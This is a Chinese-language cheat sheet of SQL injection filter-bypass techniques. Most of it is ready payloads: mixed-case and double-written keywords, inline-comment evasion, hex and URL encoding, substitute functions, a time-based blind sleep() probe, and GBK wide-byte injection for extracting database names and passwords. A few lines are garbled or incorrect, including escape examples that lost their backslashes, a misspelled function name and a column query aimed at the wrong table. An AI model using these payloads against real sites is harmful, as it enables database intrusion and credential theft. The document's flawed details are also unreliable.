SQL注入绕过

大小写绕过

数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过。过滤时使用区分大小写的过滤函数

区分大小写的函数

ereg()函数

preg_match_all(正则表达式不添加模式修正符 i)

preg_match(正则表达式不添加模式修正符 i)

strstr()

双写绕过

当后台将你所输入的关键字替换成空时,就可以使用单词混写绕过。

  1. $str = "select union * from ";
  2. $str1 = "select ununionion * from ";
  3. $ptn = '/union/';
  4. $rep = '';
  5. $str = preg_replace($ptn,$rep,$str);
  6. echo $str;
  7. echo $str1;

过滤注释符的绕过

  1. --+,#;

使用单引号闭合语句

逗号过滤

对于substr()和mid()这两个方法可以使用from to的方式来解决。

  1. select substr(database() from 1 for 1);
  2. select mid(database() from 1 for 1);

对于limit可以使用offset来绕过

  1. select * from news limit 0,1
  2. # 等价于下面这条SQL语句
  3. select * from yang limit 1 offset 0

使用join:

  1. union select 1,2 #等价于
  2. union select * from (select 1)a join (select 2)b

使用like:

  1. select ascii(mid(user(),1,1))=80 #等价于
  2. select user() like 'r%'

比较符过滤

此时如果比较操作符(<,>)被过滤,上面的盲注语句就无法使用了,不过我们可以使用greatest来替代比较符.(<,>)

greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值

  1. select * from users where id=1 and ascii(substr(database(),0,1))>64
  2. select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

等号过滤

  1. like

  2. in

  3. between and

  4. regexp

    1. $sql = select * from user where id=1;
    2. 使用in方法绕过
    3. 使用示例:
    4. $sql = select * from user where id in (1);
    5. 使用like 绕过
    6. $sql = select * from user Where id like 5

符号代替特殊字符

使用 || 代替 or

使用&&代替and

/**/ 绕过对空格的过滤

空格过滤

/**/ 绕过对空格的过滤

括号?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

引号绕过

十六进制

  1. select column_name from information_schema.tables where table_name="users"
  1. select column_name from information_schema.tables where table_name=0x7573657273

绕过union,select,where等

(1)使用注释符绕过:

常用注释符:

  1. //,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

  1. U/**/ NION /**/ SE/**/ LECT /**/userpwd from user

(2)使用大小写绕过:

  1. id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

  1. id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

  1. id=-1'UNIunionONSeLselectECT1,2,3–-

通用绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过:

  1. or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

等价函数绕过

  1. hex()、bin() ==> ascii()
  2. sleep() ==>benchmark()
  3. concat_ws()==>group_concat()
  4. mid()、substr() ==> substring()
  5. @@user ==> user()
  6. @@datadir ==> datadir()
  7. 举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
  8. 或者:
  9. substr((select 'password'),1,1) = 0x70
  10. strcmp(left('password',1), 0x69) = 1
  11. strcmp(left('password',1), 0x70) = 0
  12. strcmp(left('password',1), 0x71) = -1

12.宽字节注入:

过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为 ‘ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

  1. id=-1%df%27union select 1,user(),3--+

(2)将 ‘ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1.replace():过滤 ‘ \ ,将 ‘ 转化为 ‘ ,将 \ 转为 \,将 “ 转为 “ 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , “ , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

  1. \x00 \n \r \ ' " \x1a

(防御,将mysql设置为gbk即可)